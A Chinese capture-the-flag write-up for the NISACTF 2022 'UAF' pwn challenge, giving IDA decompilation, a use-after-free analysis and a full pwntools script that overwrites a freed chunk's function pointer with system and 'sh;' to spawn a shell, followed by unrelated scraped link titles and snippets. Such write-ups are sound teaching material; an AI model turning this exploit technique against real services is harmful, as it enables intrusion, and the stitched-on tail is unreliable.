跟hacknote一样的做法,但是有所不同。

Checksec & IDA

也是一样的保护机制,直接打开IDA看一眼

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{int v3[4]; // [esp+8h] [ebp-10h] BYREFv3[1] = __readgsdword(0x14u);setbuf(stdin, 0);setbuf(stdout, 0);while ( 1 ){while ( 1 ){puts("1.create");puts("2.edit");puts("3.delete");puts("4.show");putchar(58);__isoc99_scanf("%d", v3);if ( v3[0] != 2 )break;edit();}if ( v3[0] > 2 ){if ( v3[0] == 3 ){del();}else if ( v3[0] == 4 ){show();}else{
LABEL_13:puts("Invalid choice");}}else{if ( v3[0] != 1 )goto LABEL_13;create();}}
}
int create()
{int result; // eaxint v1; // ebxchar *v2; // eaxprintf("you are creating the %d page\n", i);result = i;if ( i >= 0 ){result = i;if ( i <= 9 ){v1 = i;(&page)[v1] = (char *)malloc(8u);if ( i ){if ( i <= 0 || i > 9 ){return puts("NO PAGE");}else{puts("Good cretation!");return ++i;}}else{v2 = page;*(_DWORD *)page = 1868654951;v2[4] = 0;*((_DWORD *)page + 1) = echo;puts("The init page");return ++i;}}}return result;
}
unsigned int show()
{int v1; // [esp+8h] [ebp-10h] BYREFunsigned int v2; // [esp+Ch] [ebp-Ch]v2 = __readgsdword(0x14u);puts("Input page");__isoc99_scanf("%d", &v1);if ( v1 ){if ( v1 <= 0 || v1 > i )puts("NO PAGE");elseecho((&page)[v1]);}else{(*((void (__cdecl **)(char *))page + 1))(page);}return __readgsdword(0x14u) ^ v2;
}
unsigned int del()
{int v1; // [esp+8h] [ebp-10h] BYREFunsigned int v2; // [esp+Ch] [ebp-Ch]v2 = __readgsdword(0x14u);puts("Input page");__isoc99_scanf("%d", &v1);if ( v1 < 0 || v1 > i )puts("NO PAGE");elsefree((&page)[v1]);return __readgsdword(0x14u) ^ v2;
}
int __cdecl NICO(char *command)
{return system(command);
}

主要的函数有:

main/create/show/del/edit/NICO

其中NICO是后门函数,提供了一个system。

显然是一个菜单程序,我们运行然后gdb调试看看。

发现与hacknote相比,我们不能指定堆的大小,并且无法直接更改堆0的内容。

但是我们可以释放堆0。

可以发现edit函数中的if是<0而不是<= 0。并且del函数中没有置零指针。导致了UAF漏洞。

EXP:

利用思路很简单,我们只需要申请一次堆0,然后删除一次堆0,再申请一次堆,因为系统短时间内不会直接回收堆的内存,所以我们申请到的堆1其实就是堆0,我们只需要往堆1里面写入指向shell函数的指针,即可getshell。

from pwn import *Locale = 1
if Locale == 1:io = process('./NUAF')
else:io = remote('1.14.71.254',28674)elf = ELF('./NSS_Pwn')context(arch='i386', os='linux', log_level='debug')system = 0x80484E0def add_chunk():io.recvuntil(b':')io.sendline(b'1')def edit_chunk(index, string):io.recvuntil(b':')io.sendline(b'2')io.recvuntil(b'page\n')io.sendline(str(index))io.recvuntil(b'strings\n')io.sendline(string)def del_chunk(index):io.recvuntil(b':')io.sendline(b'3')io.recvuntil(b'page\n')io.sendline(str(index))def show_chunk(index):io.recvuntil(b':')io.sendline(b'4')io.recvuntil(b'page\n')io.sendline(str(index))# 先创建一个chunk 0
# 由于edit不能直接编辑chunk0,因为 if ( v1 <= 0 || v1 > i )
# 但是由于系统不会直接回收内存空间,并且free后并没有将指针置0
# create函数创建的chunk是不能自定义的,但是我们只要free后再申请一次,它就会把之前的chunk给我们复用
# 但是由于我们不能直接编辑chunk0,但是chunk0现在被page1所调用,因此我们只需要使用edit写入page1 sh并show_page即可getshelladd_chunk()
del_chunk(0)
add_chunk()
edit_chunk(1, b'sh;\x00' + p32(system))show_chunk(0)io.interactive()

使用GDB一步一步追踪内存:

首先申请一个堆。add_chunk()

可以发现程序申请了0x10大小的堆,

堆中存放了echo函数的地址,而echo函数调用了puts函数打印字符串s。

然后释放堆。del_chunk(0)

可以发现程序free了刚才申请的堆,将它暂时存放进了tcache。

再申请一次堆。也就是Page 1 add_chunk()

程序复用了刚才释放的堆,也就是堆0。

但是我们发现堆0中什么都没有储存。

将shell和system送入堆。edit_chunk(1, b'sh;\x00' + p32(system))

可以发现堆中内容再次改变,其中0x80484E0是system的plt表地址,3B6873则是sh与\x00。

如果我们不删除堆0,直接更改堆1的内容为b'sh;\x00' + p32(system),还能getshell吗?

实际上是不行的,虽然会创建第二个堆,并且内容和0一模一样,但是会产生一个死循环,让程序永远卡在重复显示菜单。

我也不是很清楚为什么会这样,但是如果使用了UAF漏洞就不会产生死循环这种问题。

[NISACTF 2022]UAF相关推荐

  1. [NISACTF 2022]checkin

    [NISACTF 2022] 题源:https://www.ctfer.vip/#/problem/2035 题目-checkin 1.源代码 2.普通传值行不通 =>看颜色:第二段注释部分颜色 ...

  2. NISACTF 2022 writeup

    周末两天的比赛 WEB(11/12).PWN(5/6).Reverse(3/6).Crypto(3/7).Misc(8/12) WEB没有AK还是略有遗憾,到后面实在做不动了. 第一次写这么长的WP- ...

  3. CTF-PWN学习-为缺少指导的同学而生

    博主也是个PWN的入门者.PWN的入门不可能是无痛的.能做到的只是减少一点初学者的痛苦.这篇博客会长期维护,也会越来越好.后期还可能会在B站出视频(博主社恐,要迈出这一步可能需要好长时间). PWN是 ...

  4. NSSCTF web题记录

    目录 web [GXYCTF 2019]BabyUpload [NISACTF 2022]babyserialize [NISACTF 2022]popchains [NSSRound#4 SWPU] ...

  5. NSSCTF web学习

    目录 [CISCN 2019华东南]Web11 [NISACTF 2022]bingdundun~ [NISACTF 2022]babyserialize [NISACTF 2022]join-us ...

  6. NSSCTF web刷题

    目录 [鹤城杯 2021]EasyP [SWPUCTF 2021 新生赛]pop [SWPUCTF 2021 新生赛]easyupload3.0 [SWPUCTF 2021 新生赛]hardrce [ ...

  7. CTF一百题/10之菜狗陈海

    CTF一百题/10 0x01 flag_universe 2018年百越杯题目,下载后得到数据包文件 ftp搜索flag发现一个flag.txt FTP-DATA发现文件传输成功,追踪流,得到一串ba ...

  8. Mituan-极客时间-漏洞挖掘与智能攻防实战

    提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 目录 前言 一.CVE-2009-4194 二.CVE-2021-42013 二.CVE-2021-31760 三.RSA - 低加密 ...

  9. Reverse入门[不断记录]

    文章目录 前言 一.[SWPUCTF 2021 新生赛]re1 二.[SWPUCTF 2021 新生赛]re2 三.[GFCTF 2021]wordy[花指令] 四.[NSSRound#3 Team] ...

最新文章

  1. Python for i in range ()用法详解
  2. Mybatis-generator逆向生成运行正常,但没有生成任何文件
  3. android如何不用系统签名,更新Android系统应用程序,带/不带平台签名
  4. openstack horizon国际化分析
  5. java对焦_相机的对焦与合焦
  6. 结构化思维:掌握这3点,分析报告不再愁
  7. oracle 查询创建了哪些存储过程
  8. Eclipse 插件管理
  9. MAC 下的SVN客户端 Versions、SmartSVN、Cornerstone
  10. android平板用office,现在可以在 Android 平板上使用你所喜爱的 Office 应用程序了...
  11. 如何形成自己的的绘画风格?/ Bookness插画教程分享
  12. 加密数字货币的开发技术介绍
  13. vim java win
  14. 海康威视监控摄像头大华摄像头webrtc监控低时延无插件直播页面播放毫无延迟
  15. C# 实现xls类型转换为xlsx类型
  16. rman怎么恢复数据文件
  17. Springer投稿流程——Multimedia Tools and Applications
  18. Xcode 工程清理瘦身
  19. YTU oj3386
  20. 人工智能中的顶级期刊

热门文章

  1. 乐视1s 安装android6,乐视1S全机型安装Xposed框架教程
  2. 高数 07.02 偏导数
  3. 操作系统知识——PV操作
  4. python 聚类分析 k means
  5. 6款软件工具提升产品运营效率
  6. 深度学习 ---- 深度学习调参,CNN参数调参,各个参数理解和说明以及调整的要领。
  7. 【Trex】Trex初始化配置和server/client的启动
  8. 单场淘汰制场次计算方法_什么叫单场淘汰赛制?
  9. AbstractMethodError: javax.xml.parsers.DocumentBuilderFactory.setFeature(Ljava/lang/String;Z)V
  10. VUE报错 error:0308010C:digital envelope routines::unsupported